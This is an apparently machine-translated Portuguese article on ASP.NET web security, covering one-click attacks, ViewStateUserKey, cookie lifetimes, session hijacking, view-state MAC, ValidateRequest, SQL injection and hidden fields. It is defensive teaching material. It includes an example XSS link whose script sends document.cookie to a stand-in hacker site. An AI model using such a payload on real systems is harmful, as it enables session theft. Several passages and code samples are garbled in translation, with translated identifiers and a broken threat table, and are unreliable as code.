O que os desenvolvedores ASP.NET sempre devem fazer Se você está lendo este artigo, provavelmente não precisa se convencer de que a segurança em aplicativos Web é cada vez mais importante. O que você provavelmente precisará é de alguns conselhos práticos sobre como implementar segurança em seu aplicativo ASP.NET. A má notícia é que nenhuma plataforma de desenvolvimento — incluindo ASP.NET — pode garantir que, depois de adotar a plataforma, você será capaz de escrever código 100% seguro. Quem diz isso deve estar mentindo. A boa notícia é que, no caso do ASP.NET, o ASP.NET, especialmente a versão 1.1 e a próxima versão 2.0, incorpora algumas defesas integradas que são fáceis de usar.
Aplicar todos esses recursos por si só não é suficiente para proteger uma aplicação Web de todos os ataques possíveis e previsíveis. Entretanto, quando combinada com outras técnicas de defesa e estratégias de segurança, a funcionalidade interna do ASP.NET pode formar um poderoso kit de ferramentas para ajudar a garantir que os aplicativos sejam executados em um ambiente seguro.
A segurança da Web é a soma de muitos fatores e é o resultado de uma estratégia que vai muito além de um único aplicativo e envolve gerenciamento de banco de dados, configuração de rede, engenharia social e phishing.
O objetivo deste artigo é explicar o que os desenvolvedores ASP.NET devem sempre fazer para manter os padrões de segurança em um nível razoável. Segurança é disso que se trata: permanecer vigilante e nunca baixar completamente a guarda, tornando cada vez mais difícil a invasão por bandidos.
Vamos dar uma olhada nos recursos que o ASP.NET oferece para simplificar esse trabalho.
Voltar ao início Fontes de ameaças Na Tabela 1, resumi os tipos mais comuns de ataques na Web, juntamente com as falhas nos aplicativos que podem permitir o sucesso desses ataques.
Possíveis perpetradores de ataques Cross-site scripting (XSS)
Entrada de usuário não confiável ecoada na página
Injeção de SQL Entrada de usuário concatenada para formar um comando SQL
Sequestro de sessão ID de sessão ID de sessão adivinhada e roubada Cookies
HTTP não observado com um clique enviado via script Postagem
de violação de domínio oculto campos ocultos desmarcados (e confiáveis) são preenchidos com informações confidenciais dados
Quais são os principais fatos que emergem desta lista de
ataques comuns na Web
?Na minha opinião, há pelo menos três coisas:
• Sempre que você insere qualquer entrada do usuário na marcação do navegador, você está potencialmente se expondo a ataques de injeção de código (qualquer injeção de SQL e variantes de XSS).
• O acesso ao banco de dados deve ser implementado de forma segura, ou seja, utilizando o mínimo possível de permissões para o banco de dados e dividindo as responsabilidades dos usuários individuais por meio de funções.
• Dados confidenciais nunca devem ser enviados pela rede (muito menos de forma clara) e devem ser armazenados no servidor de maneira segura.
Curiosamente, os três pontos acima visam, respectivamente, três aspectos diferentes da segurança da Web, e a combinação desses três aspectos é a única maneira razoável de gerar aplicativos à prova de ataques e de adulteração. As várias camadas de segurança da web podem ser resumidas da seguinte forma:
• Práticas de codificação: validação de dados, verificações de tipo e tamanho do buffer, medidas à prova de falsificação
• Políticas de acesso a dados: usar decisões para proteger as contas mais fracas possíveis, usar procedimentos armazenados ou pelo menos parametrização comando.
• Armazenamento e gerenciamento eficazes: não envie dados críticos ao cliente, use códigos hash para detectar operações, autenticar usuários e proteger identidades, aplique políticas rígidas de senha
Como você pode ver, aplicativos seguros só podem ser produzidos através dos esforços combinados de desenvolvedores, arquitetos e administradores. Por favor, não presuma que você pode alcançar o mesmo propósito de qualquer outra maneira.
Ao escrever um aplicativo ASP.NET, você não está sozinho contra um exército de hackers: suas únicas armas são as linhas de código que você digita com seu cérebro, suas habilidades e seus dedos. O ASP.NET 1.1 e versões posteriores vêm em socorro com recursos específicos que aumentam automaticamente sua defesa contra algumas das ameaças listadas acima. Abaixo nós os examinamos em detalhes.
ViewStateUserKey
Introduzido desde o ASP.NET 1.1, ViewStateUserKey é uma propriedade de string da classe Page com a qual apenas alguns desenvolvedores estão realmente familiarizados. Por que? Vamos ver o que diz a documentação.
de atribuir um identificador a um usuário individual na variável de estado de visualização associada à página atual
, o significado desta frase é bastante claro, mas você pode me dizer honestamente que ela descreve o propósito original da propriedade? Para entender a função de ViewStateUserKey, você precisa continuar lendo até a seção Comentários.
Essa propriedade ajuda a evitar ataques de um clique porque fornece entrada adicional para criar um hash que evita que o estado da visualização seja adulterado. Em outras palavras, ViewStateUserKey torna muito mais difícil para os hackers usarem o conteúdo do estado de visualização do cliente para preparar postagens maliciosas contra um site. Esta propriedade pode receber qualquer string não vazia, mas é preferencialmente o ID da sessão ou o ID do usuário. Para entender melhor a importância dessa propriedade, vamos apresentar brevemente os princípios básicos dos ataques de um clique.
Um ataque de um clique envolve a publicação de um formulário HTTP malicioso em um site conhecido e vulnerável. É chamado de “um clique” porque geralmente começa com a vítima clicando inadvertidamente em um link tentador que encontrou por e-mail ou enquanto navega em um fórum lotado. Ao clicar no link, o usuário acionou inadvertidamente um processo remoto que resultou no envio de um <form> malicioso a um site. Sejamos honestos aqui: você pode realmente me dizer que nunca clicou em um link como Clique aqui para ganhar US$ 1.000.000 por curiosidade? Obviamente, nada de ruim aconteceu com você. Vamos supor que seja esse o caso; você pode dizer que todos os outros membros da comunidade da Web sobreviveram? Quem sabe.
Para ter sucesso, um ataque de um clique requer certas condições básicas:
• O invasor deve ter conhecimento suficiente do site vulnerável. Isso é possível porque o invasor pode estudar “diligentemente” o arquivo ou ele/ela é um insider irritado (por exemplo, um funcionário que foi demitido por ser desonesto). Portanto, as consequências de tal ataque podem ser extremamente graves.
• O site deve usar cookies (cookies persistentes são melhores) para permitir o logon único e o invasor recebeu um cookie de autenticação válido.
• Determinados usuários do site envolvidos em transações confidenciais.
• O invasor deve ter acesso à página alvo.
Conforme mencionado anteriormente, o ataque envolve o envio de um formulário HTTP malicioso para uma página que aguarda o formulário. Pode-se inferir que esta página utilizará os dados postados para realizar algumas operações confidenciais. Como você pode imaginar, o invasor sabe exatamente como utilizar cada domínio e pode inventar alguns valores falsos para atingir seus objetivos. Este é normalmente um ataque com alvo específico e é difícil de rastrear devido à relação triangular que ele cria – isto é, o hacker engana a vítima para que ela clique em um link no site do hacker, o que por sua vez faz com que o código malicioso seja postado em um site. terceiros. Três sites.
Por que a vítima inocente? Isto porque, neste caso, o endereço IP a partir do qual a solicitação maliciosa aparece nos logs do servidor é o endereço IP da vítima. Como mencionado anteriormente, esta ferramenta não é tão comum (e fácil de lançar) como o XSS “clássico”, no entanto, a sua natureza significa que as suas consequências podem ser catastróficas; Como lidar com isso? A seguir, examinamos como esse ataque funciona no ambiente ASP.NET.
A menos que a ação seja codificada no evento Page_Load, é simplesmente impossível para uma página ASP.NET executar código confidencial fora de um evento de postback. Para que o evento de postback ocorra, o campo view state é obrigatório. Lembre-se de que o ASP.NET verifica o status de postback da solicitação e, dependendo da presença do campo de entrada _VIEWSTATE, define IsPostBack adequadamente. Portanto, quem quiser enviar uma solicitação falsa para uma página ASP.NET deve fornecer um campo de estado de visualização válido.
Para que um ataque de um clique seja bem-sucedido, o hacker deve conseguir acessar a página. Nesse ponto, um hacker previdente salvaria a página localmente. Dessa forma, ele poderá acessar o campo _VIEWSTATE e utilizar esse campo para criar solicitações com estado de visualização antigo e valores maliciosos de outros campos. A questão é: isso funcionará?
Por que não? Se o invasor puder fornecer um cookie de autenticação válido, o hacker conseguirá entrar e a solicitação será processada normalmente. O conteúdo do estado de visualização não é verificado no servidor (quando EnableViewStataMac está desligado) ou apenas se tiver sido adulterado. Por padrão, não há mecanismo no estado de visualização para associar esse conteúdo a um usuário específico. Um invasor pode reutilizar facilmente o estado de visualização obtido para acessar legitimamente a página, representando outro usuário para gerar solicitações falsas. É aqui que entra ViewStateUserKey.
Se selecionada com precisão, esta propriedade pode adicionar informações específicas do usuário ao estado de visualização. Ao processar uma solicitação, o ASP.NET extrai a chave do estado de exibição e a compara com o ViewStateUserKey da página em execução. Se os dois corresponderem, a solicitação será considerada legítima; caso contrário, uma exceção será lançada. Quais valores são válidos para este atributo?
Definir ViewStateUserKey como uma string constante para todos os usuários equivale a deixá-lo vazio. Você deve configurá-lo com um valor diferente para cada usuário — um ID de usuário, de preferência um ID de sessão. Por algumas razões técnicas e sociais, os IDs de sessão são mais apropriados porque os IDs de sessão são imprevisíveis, expiram com o tempo e são diferentes para cada usuário.
Aqui está um código que é essencial em todas as suas páginas:
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
Para evitar escrever esse código repetidamente, você pode fixá-los no método virtual OnInit de uma classe derivada de Page. (Observe que você deve definir esta propriedade no evento Page.Init.)
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
Em geral, usar classes de página base é sempre uma boa opção, como expliquei no artigo Construa suas páginas ASP.NET em uma base mais rica. Se quiser saber mais sobre as táticas usadas pelos invasores de um clique, você pode encontrar um artigo muito bom em aspnetpro.com.
Cookies e autenticação
Os cookies existem porque ajudam os desenvolvedores a atingir um determinado propósito. Os cookies atuam como um link persistente entre o navegador e o servidor. Especialmente para aplicativos que usam login único, os cookies roubados são o que tornam os ataques possíveis. Isto é absolutamente verdade para um ataque de um clique.
Para usar cookies, você não precisa criá-los explicitamente e lê-los de forma programática. Se você usar o estado da sessão e implementar a autenticação de formulários, você usará cookies implicitamente. É claro que o ASP.NET oferece suporte ao estado de sessão sem cookies, e o ASP.NET 2.0 também introduz a autenticação de formulários sem cookies. Portanto, teoricamente você pode usar esses recursos sem cookies. Não estou dizendo que você não precisa mais fazer isso, mas o fato é que essa é uma daquelas situações em que a cura é pior que a doença. Na verdade, uma sessão sem cookies incorpora o ID da sessão no URL para que qualquer pessoa possa vê-lo.
Quais são os potenciais problemas relacionados com a utilização de cookies? Os cookies podem ser roubados (ou seja, copiados para o computador de um hacker) e envenenados (ou seja, preenchidos com dados maliciosos). Essas ações costumam ser um prelúdio para um ataque futuro. Se roubado, o cookie “autoriza” usuários externos a se conectarem ao aplicativo (e usarem páginas protegidas) em seu nome, permitindo potencialmente que um hacker contorne facilmente a autorização e seja capaz de fazer o que a função e as configurações de segurança permitem que a vítima faça. qualquer operação. Portanto, os cookies de autenticação geralmente têm uma vida útil relativamente curta de 30 minutos. (Observe que mesmo que uma sessão do navegador demore mais para ser concluída, o cookie ainda expirará.) No caso de roubo, os hackers têm uma janela de 30 minutos para tentar um ataque.
Você pode aumentar esse limite de tempo para que os usuários não precisem fazer login com muita frequência, mas esteja ciente de que você está se colocando em risco ao fazer isso. O uso de cookies persistentes ASP.NET deve ser evitado em qualquer circunstância. Isso resultará em biscoitos com vida útil quase permanente de até 50 anos! O trecho de código a seguir demonstra como modificar facilmente a data de expiração de um cookie.
void OnLogin(objeto remetente, EventArgs e) {
//Verifica as credenciais
if (ValidateUser(usuário, pswd)) {
//Definir a data de validade do cookie
Cookie HttpCookie;
cookie = FormsAuthentication.GetAuthCookie(usuário, isPersistent);
if (éPersistente)
cookie.Expires = DateTime.Now.AddDays(10);
//Adiciona o cookie à resposta
Response.Cookies.Add(cookie);
//Redirecionar
string targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(usuário, isPersistent);
Response.Redirect(targetUrl);
}
}
Você pode usar esse código em seu formulário de login para ajustar o tempo de vida do cookie de autenticação.
sequestro de sessão
Os cookies também são usados para recuperar o estado da sessão de um usuário específico. O ID da sessão é armazenado em um cookie que é enviado e recebido com a solicitação e armazenado no computador do navegador. Da mesma forma, se for roubado, um cookie de sessão poderá ser usado para permitir que um hacker invada o sistema e acesse o estado da sessão de outra pessoa. Escusado será dizer que isso é possível desde que a sessão especificada esteja ativa (geralmente não mais que 20 minutos). Um ataque através do estado de sessão personificado é chamado de sequestro de sessão. Para obter mais informações sobre o sequestro de sessão, leia Roubo na Web: Evite o sequestro de sessão.
Quão perigoso é esse ataque? É difícil dizer. Isso depende da funcionalidade do site e, mais importante, de como as páginas do site são projetadas. Por exemplo, suponha que você conseguiu obter o cookie de sessão de outra pessoa e anexá-lo a uma solicitação de página em seu site. Você carrega a página e percorre sua interface de usuário normal. Você não pode injetar nenhum código na página nem modificar nada na página, exceto que a página funciona usando o estado de sessão de outro usuário. Isso não é tão ruim por si só, mas se as informações dessa sessão forem confidenciais e críticas, poderão levar diretamente a uma exploração bem-sucedida. Um hacker não pode penetrar no conteúdo de um armazenamento de sessão, mas pode usar as informações ali armazenadas como se tivesse entrado legalmente. Por exemplo, considere um aplicativo de comércio eletrônico no qual os usuários adicionam itens aos carrinhos de compras enquanto navegam no site.
• Opção 1. O conteúdo do carrinho de compras é armazenado no estado de sessão. No entanto, durante a finalização da compra, os usuários são solicitados a confirmar e inserir os detalhes de pagamento por meio de uma conexão SSL segura. Nesse caso, ao acessar o estado da sessão de outros usuários, o hacker só consegue saber alguns detalhes sobre as preferências de compra da vítima. O sequestro neste ambiente não causa nenhum dano. O que está em jogo é a confidencialidade.
• Opção 2. O aplicativo processa um perfil para cada usuário registrado e salva o perfil no estado de sessão. Pior ainda, o perfil (provavelmente) inclui informações de cartão de crédito. Por que os detalhes do perfil são armazenados na sessão? Talvez um dos objetivos do aplicativo seja essencialmente evitar que os usuários tenham que digitar repetidamente suas informações bancárias e de cartão de crédito. Portanto, no checkout, o aplicativo direciona o usuário para uma página com domínio pré-preenchido. Desnecessariamente, um desses campos é um número de cartão de crédito obtido no estado da sessão. Você consegue adivinhar agora como a história termina?
O design das páginas do aplicativo é a chave para evitar ataques de sequestro de sessão. Claro, ainda existem dois pontos que não foram esclarecidos. O primeiro ponto é: como evitar o roubo de cookies? O segundo ponto é: como o ASP.NET pode detectar e impedir o sequestro?
Os cookies de sessão do ASP.NET são extremamente simples e limitados a conter a própria string de ID da sessão. O tempo de execução do ASP.NET extrai o ID da sessão do cookie e o compara com a sessão ativa. Se o ID for válido, o ASP.NET se conectará à sessão correspondente e continuará. Esse comportamento facilita muito os hackers que roubaram ou conseguem adivinhar um ID de sessão válido.
Ataques XSS e man-in-the-middle, bem como acesso de força bruta ao PC do cliente, são formas de obter cookies válidos. Para evitar roubo, você deve implementar práticas recomendadas de segurança para evitar o sucesso do XSS e suas variantes.
E para evitar adivinhar o ID da sessão, você deve simplesmente evitar superestimar suas habilidades. Adivinhar um ID de sessão significa que você sabe como prever uma string de ID de sessão válida. Para o algoritmo usado pelo ASP.NET (15 números aleatórios mapeados para caracteres habilitados para URL), a probabilidade de adivinhar aleatoriamente um ID válido é próxima de zero. Não consigo pensar em nenhum motivo para substituir o gerador de ID de sessão padrão pelo seu. Em muitos casos, isso apenas facilitará as coisas para o invasor.
A pior consequência do sequestro de sessão é que, uma vez que um cookie é roubado ou adivinhado, o ASP.NET não tem como detectar o uso fraudulento de cookies. Novamente, o motivo é que o ASP.NET se limita a verificar a validade do ID e a origem do cookie.
Meu amigo Jeff Prosise, da Wintellect, escreveu um bom artigo sobre sequestro de sessão para a MSDN Magazine. Sua conclusão não é reconfortante: é quase impossível construir defesas que possam proteger completamente contra ataques baseados em cookies de ID de sessão roubados. Mas o código que ele desenvolveu fornece sugestões muito sensatas para melhorar ainda mais os padrões de segurança. Jeff criou um módulo HTTP que monitora solicitações recebidas e respostas enviadas para cookies de ID de sessão. Este módulo anexa um código hash ao ID da sessão, tornando mais difícil para um invasor reutilizar o cookie. Você pode ler os detalhes aqui.
EnableViewStateMac
O estado de visualização é usado para manter o estado de um controle entre duas solicitações consecutivas para a mesma página. Por padrão, o estado de visualização é codificado em Base64 e assinado com um hash para evitar adulterações. Não é possível alterar o estado de visualização sem alterar as configurações padrão da página. Se um invasor modificar o estado de exibição ou até mesmo regenerar o estado de exibição usando o algoritmo correto, o ASP.NET capturará essas tentativas e lançará uma exceção. A adulteração do estado de visualização não é necessariamente prejudicial, embora modifique o estado dos controles do servidor – mas pode ser um veículo para infecções graves. Portanto, é extremamente importante não remover a verificação cruzada do Código de Autenticação do Computador (MAC) que ocorre por padrão.
Quando a verificação MAC está habilitada (o padrão), um valor hash é anexado ao estado de visualização serializado, que é gerado usando algum valor do lado do servidor e o segredo do usuário do estado de visualização (se houver). Quando o estado de visualização é postado novamente, o hash é recalculado usando o novo valor do lado do servidor e comparado ao valor armazenado. Se os dois corresponderem, a solicitação será permitida; caso contrário, uma exceção será lançada. Mesmo supondo que um hacker tenha a capacidade de quebrar e regenerar o estado de visualização, ele ainda precisará saber o valor armazenado pelo servidor para obter um hash válido. Especificamente, o hacker precisa saber a chave do computador referenciada na entrada <machineKey> do machine.config.
Por padrão, as entradas são geradas automaticamente e armazenadas fisicamente na Autoridade de Segurança Local (LSA) do Windows. Somente no caso de um Web farm, onde a chave da máquina para o estado de visualização deve ser a mesma em todas as máquinas, você deve especificá-la como texto não criptografado no arquivo machine.config.
A verificação MAC do estado de visualização é controlada por meio de um atributo de diretiva @Page chamado EnableViewStateMac. Conforme mencionado antes, por padrão, é definido como verdadeiro. Nunca desabilite isso; isso tornará possível um ataque de um clique à violação do estado de visualização com alta probabilidade de sucesso.
Validar Solicitação
O cross-site scripting (XSS) é um velho amigo de muitos desenvolvedores Web experientes, existente desde 1999. Simplificando, o XSS explora vulnerabilidades no código para introduzir o código executável de um hacker na sessão do navegador de outro usuário. Se executado, o código injetado pode realizar diversas ações diferentes — obter um cookie e enviar uma cópia para um site controlado por hackers, monitorar a sessão do usuário na Web e encaminhar dados, modificar o comportamento e a aparência da página hackeada para que ela Forneça informações falsas ou até mesmo seja persistente para que na próxima vez que o usuário retornar à página, o código enganoso seja executado novamente. Leia mais sobre os fundamentos dos ataques XSS no artigo do TechNet Visão geral de scripts entre sites.
Quais vulnerabilidades no código tornam possíveis os ataques XSS?
O XSS explora aplicativos da Web que geram páginas HTML dinamicamente, mas não validam a entrada retornada à página. A entrada aqui se refere a strings de consulta, cookies e ao conteúdo dos campos do formulário. Se esse conteúdo aparecer na web sem as devidas verificações de desempenho, existe o risco de que hackers possam manipulá-lo para executar scripts maliciosos em navegadores clientes. (O ataque de um clique mencionado anteriormente é na verdade uma variante recente do XSS.) Um ataque XSS típico faz com que um usuário desavisado clique em um link tentador que escapou do código de script incorporado no link. O código enganoso será enviado para uma página vulnerável que o exibirá sem suspeitas. Aqui está um exemplo do que pode acontecer:
<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + documento.cookie);
</script>">Clique para reivindicar seu prêmio</a>
O usuário clica em um link aparentemente seguro, o que acaba fazendo com que algum código de script seja passado para uma página vulnerável. Esses códigos primeiro obtêm todos os cookies no computador do usuário. Eles são em seguida, enviado ao site do hacker.
É importante observar que o XSS não é um problema específico do fornecedor e, portanto, não afeta necessariamente todos os servidores Web e navegadores atualmente no mercado. problema. Você pode proteger completamente suas páginas contra ataques XSS aplicando medidas específicas e práticas de codificação razoáveis. Além disso, observe que os invasores não precisam fazer isso
. determine quais entradas são válidas e, em seguida, negue todas as outras entradas. Você pode ler uma lista de verificação detalhada para se defender contra ataques XSS neste livro. Uma leitura obrigatória em Microsoft — Escrevendo Código Seguro, de Michael Howard e David LeBlanc. que você leu no Capítulo 13.
A principal maneira de evitar ataques XSS insidiosos é alimentar sua entrada (qualquer tipo de dados de entrada). Adicione uma camada de validação bem projetada e eficaz, por exemplo,
em
alguns casos, até mesmo cores inofensivas (RGB). tricolor) trouxe scripts não controlados diretamente para a páginaQuando o atributo ValidateRequest na diretiva @Page está ativado, é feita uma verificação para garantir que o usuário não enviou tags HTML potencialmente perigosas na string de consulta, cookies ou campos de formulário. Se isso for detectado, uma exceção será gerada e a solicitação será abortada. Este atributo está ativado por padrão, você não precisa fazer nada para ser protegido. atributo.
<%@ Page ValidateRequest="false" %>
ValidateRequest não é uma panacéia, não é um substituto para uma camada de validação válida. Leia aqui muitas informações valiosas sobre os princípios subjacentes deste recurso. sequências prejudiciais aplicando uma expressão regular.
NOTA O recurso ValidateRequest é inerentemente problemático. Portanto, você precisa aplicar um patch para que funcione conforme o esperado
. ValidateRequest ! Razões Você pode desativá-lo, mas precisa ter um motivo muito bom; um desses motivos pode ser que os usuários precisem postar algum HTML no site para obter melhores opções de formatação. Neste caso, você deve limitar o número de tags HTML permitidas (<pre>, <b>, <i>, <p>, <br>, <hr>) e escrever uma expressão regular para garantir que nada mais será permitido ou aceito.
Aqui estão algumas dicas adicionais para ajudar a proteger o ASP.NET contra ataques XSS:
• Use HttpUtility.HtmlEncode para converter símbolos perigosos em suas representações HTML.
• Use aspas duplas em vez de aspas simples porque a codificação HTML só escapa às aspas duplas.
• Forçar uma página de códigos a limitar o número de caracteres que podem ser usados.
Resumindo, use, mas não confie completamente na propriedade ValidateRequest e não seja preguiçoso. Reserve um tempo para compreender fundamentalmente as ameaças à segurança como o XSS e planeje uma estratégia de defesa centrada em um ponto-chave: todas as entradas do usuário são perigosas.
Perspectiva do banco de dados
A injeção de SQL é outro tipo de ataque bem conhecido que explora aplicativos que usam entradas não higienizadas do usuário para formar comandos de banco de dados. Se um aplicativo usar alegremente o que o usuário digita em um campo de formulário para criar uma string de comando SQL, ele expõe você ao risco de que um usuário mal-intencionado possa modificar a natureza da consulta simplesmente visitando a página e inserindo parâmetros fraudulentos. Você pode aprender mais sobre injeção de SQL aqui.
Existem muitas maneiras de prevenir ataques de injeção de SQL. As técnicas mais comuns são descritas abaixo.
• Certifique-se de que a entrada do usuário seja do tipo apropriado e siga o padrão esperado (código postal, número de identificação, e-mail, etc.). Se for esperado um número de uma caixa de texto, bloqueie a solicitação quando o usuário inserir algo que não possa ser convertido em um número.
• Utilize consultas parametrizadas, preferencialmente procedimentos armazenados.
• Use permissões do SQL Server para limitar o que usuários individuais podem fazer no banco de dados. Por exemplo, pode ser necessário desabilitar o xp_cmdshell ou limitar a operação apenas aos administradores.
Se você usar procedimentos armazenados, poderá reduzir significativamente a possibilidade desse ataque. Na verdade, com procedimentos armazenados, você não precisa compor strings SQL dinamicamente. Além disso, o SQL Server verificará se todos os parâmetros possuem o tipo especificado. Embora estas técnicas por si só não sejam 100% seguras, aliadas à verificação, serão suficientes para melhorar a segurança.
Mais importante ainda, você deve garantir que apenas usuários autorizados possam realizar operações que possam ter consequências graves, como a exclusão de uma tabela. Isso requer um design cuidadoso da camada intermediária do aplicativo. Uma boa técnica (não apenas por segurança) é manter o foco no personagem. Os usuários devem ser agrupados em funções e uma conta definida com um conjunto mínimo de permissões para cada função.
Algumas semanas atrás, o site da Wintellect foi alvo de um ataque muito sofisticado de injeção de SQL. O hacker tentou criar e iniciar um script FTP para baixar um programa executável potencialmente malicioso. Felizmente, o ataque falhou. Ou foi realmente uma autenticação forte do usuário, o uso de procedimentos armazenados e o uso de permissões do SQL Server que causaram a falha do ataque?
Em resumo, você deve seguir estas diretrizes para evitar ser injetado com código SQL prejudicial:
• Execute com o mínimo de privilégios possível e nunca execute código como "sa".
• Restrinja o acesso a procedimentos armazenados integrados.
• Prefira usar consultas SQL parametrizadas.
• As instruções não são geradas por meio de concatenação de strings e os erros do banco de dados não são repetidos.
Voltar para parte superior Campos ocultos No ASP tradicional, os campos ocultos eram a única maneira de persistir dados entre solicitações. Todos os dados que você precisa recuperar na próxima solicitação são compactados no campo <input> oculto e a passagem de retorno é executada. O que acontece se alguém modificar o valor armazenado neste campo no cliente? Contanto que o texto esteja claro, o ambiente do servidor não poderá detectar isso. No ASP.NET, a propriedade ViewState de páginas e controles individuais serve a dois propósitos. Por um lado, ViewState é uma forma de persistir o estado entre solicitações; por outro lado, ViewState permite armazenar valores personalizados em campos ocultos que são protegidos e não podem ser facilmente adulterados;
Conforme mostrado na Figura 2, o estado de visualização é anexado a um valor hash e, para cada solicitação, esse valor é verificado para detectar se ocorreu violação. Exceto em alguns casos, não há razão para usar campos ocultos no ASP.NET. O estado de visualização atinge a mesma funcionalidade de uma forma muito mais segura. Conforme mencionado imediatamente, armazenar valores confidenciais (como preços ou detalhes de cartão de crédito) em campos ocultos de forma clara abre a porta para o estado de visualização dos hackers, podendo até tornar essa má prática mais segura do que antes; mecanismo de proteção de dados. No entanto, lembre-se de que o estado de visualização é à prova de falsificação, mas a confidencialidade não é garantida, a menos que seja usada criptografia – os detalhes do cartão de crédito armazenados no estado de visualização estão em risco de qualquer maneira.
No ASP.NET, quando é aceitável usar campos ocultos? Quando você cria um controle personalizado que precisa enviar dados de volta ao servidor. Por exemplo, suponha que você queira criar um novo controle DataGrid que ofereça suporte à reordenação de colunas. Você precisa enviar o novo pedido de volta ao servidor em um postback. Se não estiver armazenando essas informações em um campo oculto, onde elas poderão ser armazenadas?
Se o campo oculto for um campo de leitura/gravação, ou seja, espera-se que o cliente escreva nele, não há como impedir completamente um ataque de hacker. Você pode tentar fazer hash ou criptografar o texto, mas isso não lhe dá uma confiança razoável de que ele não será hackeado. Neste ponto, a melhor defesa é fazer com que o campo oculto contenha informações inertes e inofensivas.
Além disso, deve-se observar que o ASP.NET expõe uma classe pouco conhecida que pode ser usada para codificar e fazer hash de qualquer objeto serializado. Essa classe é LosFormatter, a mesma classe que ViewState implementa para criar o texto codificado de volta ao cliente.
string privada EncodeText(string texto) {
Escritor StringWriter = new StringWriter();
Formatador LosFormatter = new LosFormatter();
formatador.Serialize(escritor, texto);
retornar escritor.ToString();
}
O trecho de código anterior demonstra como usar LosFormatter para criar algo como estado de visualização, codificá-lo e fazer hash.
E-mail e Spam No final deste artigo, deixe-me salientar que pelo menos dois dos ataques mais comuns (XSS clássico e um clique) geralmente são feitos atraindo vítimas inocentes a clicarem em links tentadores e enganosos iniciados pelo link. Muitas vezes podemos encontrar esses links em nossa caixa de entrada, apesar dos filtros anti-spam. Você pode comprar muitos endereços de e-mail por alguns dólares. Uma das principais técnicas usadas para gerar essas listas é examinar páginas públicas de um site para encontrar e recuperar qualquer coisa que se pareça com uma mensagem de email.
Se um endereço de e-mail for exibido na página, é provável que, mais cedo ou mais tarde, o endereço seja capturado por um programa automatizado da Web. Realmente? Claro, isso depende de como o email é exibido. Se você codificá-lo, você perde. Não está claro se outra representação, como dino-at-microsoft-dot-com, seria capaz de enganar programas automatizados da web, mas definitivamente faria com que qualquer pessoa que lesse sua página quisesse fazer uma conexão legítima com raiva.
Em geral, você deve determinar uma maneira de gerar mensagens de email dinamicamente como links mailto. Um componente gratuito escrito por Marco Bellinaso faz exatamente isso. Você pode obter o código-fonte completo deste componente no site DotNet2TheMax.
Resumo Alguém suspeita que a Web possa ser o mais hostil de todos os ambientes de execução? A causa raiz é que qualquer pessoa pode acessar um site e tentar passar dados bons ou ruins para ele. Mas qual é o sentido de criar um aplicativo Web que não aceita entradas do usuário?
Sejamos realistas: não importa o quão poderoso seja o seu firewall, não importa a frequência com que você aplica os patches disponíveis, desde que você esteja executando uma aplicação web que contenha falhas inerentes, mais cedo ou mais tarde um invasor poderá acessar diretamente o canal principal, que é a porta 80. Vá ao cerne do seu sistema.
Os aplicativos ASP.NET não são mais vulneráveis nem mais seguros que outros aplicativos da Web. A segurança e as vulnerabilidades estão igualmente enraizadas nas práticas de codificação, na experiência do mundo real e no trabalho em equipe. Se a rede não for segura, nenhum aplicativo será seguro. Da mesma forma, não importa quão segura e bem gerenciada seja a rede, se o aplicativo apresentar falhas, os invasores sempre conseguirão obter acesso.
A vantagem do ASP.NET é que ele fornece algumas boas ferramentas que, com um pouco de trabalho, podem elevar os padrões de segurança a um nível aceitável. É claro que este não é um nível suficientemente elevado. Você não deve confiar apenas nas soluções integradas do ASP.NET, nem ignorá-las. Aprenda o máximo possível sobre ataques comuns.
Este artigo fornece uma lista comentada de recursos integrados, bem como algumas informações básicas sobre ataques e defesas. As técnicas usadas para detectar ataques de saída são outra questão e provavelmente merecem um artigo próprio.